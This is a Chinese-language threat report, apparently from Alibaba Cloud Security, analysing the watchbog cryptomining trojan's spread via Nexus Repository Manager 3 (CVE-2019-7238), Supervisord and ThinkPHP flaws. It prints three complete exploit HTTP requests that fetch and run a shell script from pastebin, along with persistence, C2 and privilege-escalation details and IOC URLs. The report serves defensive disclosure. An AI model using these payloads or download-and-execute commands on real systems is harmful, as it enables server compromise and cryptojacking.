天天看點

威脅快報|Nexus Repository Manager 3新漏洞已被用于挖礦木馬傳播,建議使用者盡快修複

背景

近日,阿裡雲安全監測到watchbog挖礦木馬使用新曝光的Nexus Repository Manager 3遠端代碼執行漏洞(CVE-2019-7238)進行攻擊并挖礦的事件。

值得注意的是,這一攻擊開始的時間(2月24日),與2月5日上述産品的母公司釋出漏洞公告,相隔僅僅半個多月,再次印證了“漏洞從曝光到被黑産用于挖礦的時間越來越短”。此外,攻擊者還利用了Supervisord, ThinkPHP等産品的漏洞進行攻擊。

本文分析了該木馬的内部結構和傳播方式,并就如何清理、預防類似挖礦木馬給出了安全建議。

挖礦木馬傳播分析

攻擊者主要通過直接攻擊主機服務的漏洞,來進行木馬的傳播,也就是說它目前不具備蠕蟲的傳染性,這一點上類似8220團夥。即便如此,攻擊者仍然擷取了大量的殭屍電腦。

尤其2月24日,攻擊者從原本隻攻擊ThinkPHP和Supervisord,到加入了Nexus Repository Manager 3的攻擊代碼,可以看到其礦池算力當天即飙升約3倍,達到了210KH/s左右(盈利約25美元/天),意味着最高時可能有1~2萬台主機受控進行挖礦。

以下為阿裡雲安全采集到的3種攻擊payload

(1) 針對Nexus Repository Manager 3 遠端代碼執行漏洞(CVE-2019-7238)的利用

POST /service/extdirect HTTP/1.1
Host: 【victim_ip】:8081
X-Requested-With: XMLHttpRequest
Content-Type: application/json

{"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "233.class.forName('java.lang.Runtime').getRuntime().exec('curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby')"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}           

(2)針對Supervisord遠端指令執行漏洞(CVE-2017-11610)的利用

POST /RPC2 HTTP/1.1
Host: 【victim_ip】:9001
Content-Type: application/x-www-form-urlencoded

<?xml version=\"1.0\"?>\u0002<methodCall>\u0002<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>\u0002<params>\u0002<param>\u0002<string>curl https://pastebin.com/raw/zXcDajSs -o /tmp/baby</string>\u0002</param>\u0002</params>\u0002</methodCall>           

(3)針對ThinkPHP遠端指令執行漏洞的利用

POST /index.php?s=captcha HTTP/1.1
Host: 【victim_host】
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby; bash /tmp/baby           

以上三種payload的目的都是相同的,那就是控制主機執行以下指令

curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby; bash /tmp/baby           

木馬功能結構分析

被攻擊的主機受控通路

https://pastebin.com/raw/zXcDajSs

,經多次跳轉後,會得到如下圖所示的shell腳本,其包含cronlow(), cronhigh(), flyaway()等多個函數。

分析後得出,該腳本主要包含以下幾個子產品:

1.挖礦子產品

挖礦子產品的download()函數,會從

https://ptpb.pw/D8r9

(即$mi_64解碼後的内容)下載下傳由xmrig改寫的挖礦程式,儲存為/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/watchbog,并從

https://ptpb.pw/hgZI

下載下傳配置檔案,之後啟動挖礦。

另一個函數testa()也是類似,隻不過它下載下傳的是xmr-stak挖礦程式。

2.持久化子產品

将要執行的惡意指令寫入/etc/cron.d/root等多個檔案

3.c&c子產品

c&c子產品主要在dragon()和flyaway()函數中實作。

威脅快報|Nexus Repository Manager 3新漏洞已被用于挖礦木馬傳播,建議使用者盡快修複

如下圖所示為解碼後的dragon函數

它會依次請求

https://pastebin.com/raw/05p0fTYd

等多個位址,并執行收到的指令。有趣的是,這些位址目前存放的都是一些普通單詞,可能是木馬作者留待将來使用。

flyaway()函數則與dragon()稍有不同,它會先從

https://pixeldra.in/api/download/8iFEEg

下載下傳/tmp/elavate。

逆向可知,/tmp/elavate是使用Ubuntu本地權限提升漏洞(CVE-2017-16995)進行提權的二進制程式。提權後,嘗試以root權限執行從

https://pastebin.com/raw/aGTSGJJp

擷取的指令。

安全建議

阿裡雲安全已和pastebin.com進行聯系,要求禁止對上述惡意下載下傳連結的通路,對方暫未回應。此外,雲安全為使用者提供如下安全建議:

  1. 網際網路上攻擊無處不在,使用者平時應及時更新服務,或修補服務漏洞,避免成為入侵的受害者。
  2. 建議使用阿裡雲安全的下一代雲防火牆産品,其阻斷惡意外聯、能夠配置智能政策的功能,能夠有效幫助防禦入侵。哪怕攻擊者在主機上的隐藏手段再高明,下載下傳、挖礦、反彈shell這些操作,都需要進行惡意外聯;雲防火牆的攔截将徹底阻斷攻擊鍊。此外,使用者還可以通過自定義政策,直接屏蔽pastebin.com、thrysi.com等廣泛被挖礦木馬利用的網站,達到阻斷入侵的目的。
  3. 對于有更高定制化要求的使用者,可以考慮使用阿裡雲安全管家服務。購買服務後将有經驗豐富的安全專家提供咨詢服務,定制适合您的方案,幫助加強系統,預防入侵。入侵事件發生後,也可介入直接協助入侵後的清理、事件溯源等,适合有較高安全需求的使用者,或未雇傭安全工程師,但希望保障系統安全的企業。

IOC

礦池位址:

pool.minexmr.com:443

錢包位址:

44gaihcvA4DHwaWoKgVWyuKXNpuY2fAkKbByPCASosAw6XcrVtQ4VwdHMzoptXVHJwEErbds66L9iWN6dRPNZJCqDhqni3B

相關檔案:

威脅快報|Nexus Repository Manager 3新漏洞已被用于挖礦木馬傳播,建議使用者盡快修複

其他惡意url:

https://pastebin.com/raw/AgdgACUD https://pastebin.com/raw/vvuYb1GC https://pixeldra.in/api/download/nZ2s4L

(用來下載下傳32位XMR挖礦程式,連結已失效)

(目前不存在)

https://pastebin.com/raw/KxWPFeEn https://pastebin.com/raw/X6wvuv98

Reference

  1. https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019
  2. https://cloud.tencent.com/developer/article/1390628
  3. https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c